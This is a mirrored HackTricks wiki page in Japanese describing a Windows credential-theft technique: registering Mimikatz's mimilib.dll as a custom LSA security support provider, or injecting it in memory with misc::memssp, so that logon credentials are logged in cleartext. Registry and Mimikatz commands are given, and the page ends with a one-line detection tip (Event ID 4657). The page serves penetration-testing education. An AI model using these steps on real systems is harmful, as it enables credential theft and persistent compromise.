mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
41 lines
1.8 KiB
Markdown
41 lines
1.8 KiB
Markdown
# Custom SSP
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
### Custom SSP
|
||
|
||
[SSP（セキュリティサポートプロバイダー）についてはこちらで学んでください。](../authentication-credentials-uac-and-efs/index.html#security-support-provider-interface-sspi)\
|
||
自分の**SSP**を作成して、**クリアテキスト**で**資格情報**を**キャプチャ**することができます。
|
||
|
||
#### Mimilib
|
||
|
||
Mimikatzが提供する`mimilib.dll`バイナリを使用できます。**これにより、すべての資格情報がクリアテキストでファイルにログされます。**\
|
||
dllを`C:\Windows\System32\`に配置します。\
|
||
既存のLSAセキュリティパッケージのリストを取得します：
|
||
```bash:attacker@target
|
||
PS C:\> reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
|
||
|
||
HKEY_LOCAL_MACHINE\system\currentcontrolset\control\lsa
|
||
Security Packages REG_MULTI_SZ kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u
|
||
```
|
||
`mimilib.dll`をセキュリティサポートプロバイダーリスト（セキュリティパッケージ）に追加します：
|
||
```powershell
|
||
reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages"
|
||
```
|
||
再起動後、すべての資格情報は `C:\Windows\System32\kiwissp.log` に平文で見つけることができます。
|
||
|
||
#### メモリ内
|
||
|
||
Mimikatzを使用して、これをメモリ内に直接注入することもできます（少し不安定で動作しない可能性があることに注意してください）：
|
||
```powershell
|
||
privilege::debug
|
||
misc::memssp
|
||
```
|
||
この変更は再起動後に持続しません。
|
||
|
||
#### 緩和策
|
||
|
||
イベント ID 4657 - `HKLM:\System\CurrentControlSet\Control\Lsa\SecurityPackages` の監査作成/変更
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|